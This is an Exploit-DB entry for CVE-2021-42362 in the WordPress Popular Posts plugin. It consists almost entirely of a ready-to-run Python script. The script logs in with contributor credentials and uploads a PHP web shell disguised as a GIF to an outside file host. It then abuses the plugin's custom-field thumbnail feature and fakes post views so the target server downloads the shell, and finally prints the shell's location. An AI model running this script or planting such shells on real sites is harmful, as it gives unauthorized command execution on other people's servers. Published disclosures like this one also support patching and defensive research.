WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)

EDB-ID:

50129




Platform:

PHP

Date:

2021-07-15


# Exploit Title: WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 15/07/2021
# Exploit Author: Simone Cristofaro
# Vendor Homepage: https://it.wordpress.org/plugins/wordpress-popular-posts/
# Software Link: https://downloads.wordpress.org/plugin/wordpress-popular-posts.5.3.2.zip
# Version: 5.3.2 or below
# Tested on: Debian 10, WordPress 5.7.2, PHP version 7.3.27
# CVE: CVE-2021-42362
# Reference: https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/
# Notes: It's required that the Popular Posts widget is active (ie. in the footer section) and gd extension for PHP is
# enabled (otherwise WPP can't generate thumbnails). Also, the authenticated user must have "Contributor" role or above.

# This script will login with the provided credentials, create a new post and add a custom field with the link to a
# web shell, that will be automatically downloaded by the server. If you don't want to upload the file, you need to
# provide a URL to a web shell with SSL support (https) and make sure it contains the file name in it. If the plugin is
# set to show a fixed number of popular posts (ie. top 5), you just need to refresh the post page to make it go up ;)

'''
Banner:
'''
banner = """
* Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)                                                        
* @Heisenberg
"""
print(banner)

'''
Import required modules:
'''
import requests
import argparse
import json
import re
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='Wordpress Popular Posts plugin <= 5.3.2 - RCE (Authenticated)')
my_parser.add_argument('-t', help='--Target IP', metavar='IP', type=str, required=True, dest="target_ip")
my_parser.add_argument('-p', help='--Target port', type=str, metavar='PORT', default='80', dest="target_port")
my_parser.add_argument('-w', help='--Wordpress path (ie. /wordpress/)',metavar='PATH', type=str, required=True, dest="wp_path")
my_parser.add_argument('-U', help='--Username', metavar='USER', type=str, required=True, dest="username")
my_parser.add_argument('-P', help='--Password', metavar='PASS', type=str, required=True, dest="password")
args = my_parser.parse_args()
target_ip = args.target_ip
target_port = args.target_port
wp_path = args.wp_path
username = args.username
password = args.password

''' 
# Hard coded parameters (if you don't like command line execution) 
target_ip = "localhost"
target_port = "80"
wp_path = "/wordpress/"
username = "heisenberg"
password = "heisenberg"
'''

shell_name = 'exploit.gif.php'
payload = 'GIF <html> <body> <form method="GET" name="<?php echo basename($_SERVER[\'PHP_SELF\']); ?>"> <input type="TEXT" name="cmd" autofocus id="cmd" size="80"> <input type="SUBMIT" value="Execute"> </form> <pre> <?php if(isset($_GET[\'cmd\'])) { system($_GET[\'cmd\']); } ?> </pre> </body> </html>'

print('')
print('[*] Starting Exploit:')

'''
Upload file
'''
file_json = requests.post('https://api.bayfiles.com/upload', files={ 'file' : (shell_name, payload)})
resp = json.loads(file_json.text)
if resp['status']:
    urlshort = resp['data']['file']['url']['full']
else:
     print(f'[-] Error:'+ resp['error']['message'])
     exit()

file_uploaded_site = requests.get(urlshort).text
PHP_URL = re.findall(r"(https?://\S+)("+shell_name+")",file_uploaded_site)[0][0] + shell_name

print(f'[+] Web Shell successfully uploadad at [{PHP_URL}].')

'''
Authentication:
'''
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'

# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Monies Browser 1.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}

# Authenticate:
auth = session.post(auth_url, headers=header, data=body)
auth_header = auth.headers['Set-Cookie']
if 'wordpress_logged_in' in auth_header:
    print(f'[+] Authentication successfull as user [{username}] !')
else:
    print('[-] Authentication failed ! Check username and password')
    exit()

'''
Verify that the requirements are installed
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=debug'
settings_page = session.get(settings_page_url).text
search_string = ' gd'
if settings_page.find(search_string) == -1 :
    print('[-] Error, gd extension for PHP is not installed/enabled on the server ! WPP can\'t generate thumbnails.')
    exit()

'''
Get the wpp-admin-token
'''
settings_page_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/options-general.php?page=wordpress-popular-posts&tab=tools'

settings_page = session.get(settings_page_url).text
search_string = '<input type="hidden" id="wpp-admin-token" name="wpp-admin-token" value="'
search_string_end = '" />'
settings_page = settings_page[settings_page.find(search_string):]
wpp_admin_token = settings_page[72: settings_page.find(search_string_end)]
if wpp_admin_token:
    print(f'[+] Acquired wpp-admin-token [{wpp_admin_token}].')
else:
    print('[-] Error while gathering wpp-admin-token !')
    exit()

'''
Apply changes to the Popular Posts plugin
'''
body = {
    'upload_thumb_src': '',
    'thumb_source': 'custom_field',
    'thumb_lazy_load': 1,
    'thumb_field': 'wpp_thumbnail',
    'thumb_field_resize': 1,
    'section': 'thumb',
    'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
if applied_changes.find('<div class="notice notice-success is-dismissible"><p><strong>Settings saved.'):
    print(f'[+] Settings applied successfully to the Popular Posts plugin. ')
else:
    print('[-] Error while applying settings o the Popular Posts plugin!')
    exit()

'''
Empty image cache
'''
body = {
    'action': 'wpp_clear_thumbnail',
    'wpp-admin-token': wpp_admin_token
}
applied_changes = session.post(settings_page_url, headers=header, data=body).text
print(f'[+] Images cache cleared. ')


'''
Get the new post ID and Nonce
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/post-new.php'

new_post_page = session.get(new_post_url).text
search_string = 'name="_ajax_nonce-add-meta" value="'
search_string_end = '" />'
new_post_page = new_post_page[new_post_page.find(search_string)+35:]
ajax_nonce = new_post_page[:new_post_page.find(search_string_end)]

search_string = 'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "'
search_string_end = '" );'
new_post_page = new_post_page[new_post_page.find(search_string)+66:]
wp_nonce = new_post_page[:new_post_page.find(search_string_end)]

search_string = '},"post":{"id":'
search_string_end = ','
new_post_page = new_post_page[new_post_page.find(search_string)+15:]
post_ID = new_post_page[:new_post_page.find(search_string_end)]

if post_ID and wp_nonce and ajax_nonce:
    print(f'[+] Acquired new post ID [{post_ID}], WP Nonce [{wp_nonce}] and AJAX Nonce [{ajax_nonce}].')
else:
    if not post_ID: print('[-] Error while gathering post_ID !')
    elif not wp_nonce: print('[-] Error while gathering Wordpress Nonce !')
    elif not ajax_nonce :  print('[-] Error while gathering Wordpress AJAX Nonce !')
    exit()

'''
Publish a new post
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wp/v2/posts/'+post_ID+'?_locale=user'

data = {"id":post_ID,"title":"I'm the one who knocks","content":"<!-- wp:paragraph -->\n<p>upgrade your plugins</p>\n<!-- /wp:paragraph -->","status":"publish"}
header['X-WP-Nonce'] = wp_nonce
header['Content-Type'] = 'application/json'
header['X-HTTP-Method-Override'] = 'PUT'
new_post_page = session.post(new_post_url, headers=header, json=data).text
if new_post_page.find('"status":"publish"'):
    print(f'[+] New post named [I\'m the one who knocks] published correctly!')
else:
    print('[-] Error while publishing the new post !')
    exit()

'''
Add the Custom Filed
'''
new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

header.pop('X-WP-Nonce')
header['Content-Type'] = 'application/x-www-form-urlencoded; charset=UTF-8'
header.pop('X-HTTP-Method-Override')
header['Accept']='*/*'
header['X-Requested-With'] = 'XMLHttpRequest'
body = {
    '_ajax_nonce': 0,
    'action': 'add-meta',
    'metakeyselect': 'wpp_thumbnail',
    'metakeyinput': "",
    'metavalue' : PHP_URL,
    '_ajax_nonce-add-meta': ajax_nonce,
    'post_id' : post_ID
}
new_post_page = session.post(new_post_url, headers=header, data=body).text

if new_post_page.find("<tr id='meta-") > 0:
    print(f'[+] Added a new Custom Field with the uploaded web shell.')
else:
    print('[-] Error while adding the custom field !')
    print(new_post_page)
    exit()

'''
Give it some views to pop it up in the recent posts
'''
print(f'[+] Giving the new post some views (10) [ ', end="")

new_post_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php?page_id=' + post_ID
redirect_url = session.get(new_post_url).url

new_post_plugin_url = 'http://' + target_ip + ':' + target_port + wp_path + 'index.php/wp-json/wordpress-popular-posts/v1/popular-posts'
data = {
    '_wpnonce': wp_nonce,
    'wpp_id': post_ID,
    'sampling': 0,
    'sampling_rate': 100
}


for progress in range(10):
    session.get(redirect_url)
    res = session.post(new_post_plugin_url, headers=header, data=data)
    print ('=', end='')

print(' ] '+json.loads(res.text)['results'])

print('[+] Exploit done !')
print(' -> Webshell: http://' + target_ip + ':' + target_port + wp_path + 'wp-content/uploads/wordpress-popular-posts/' + post_ID +'_'+ shell_name)
print('')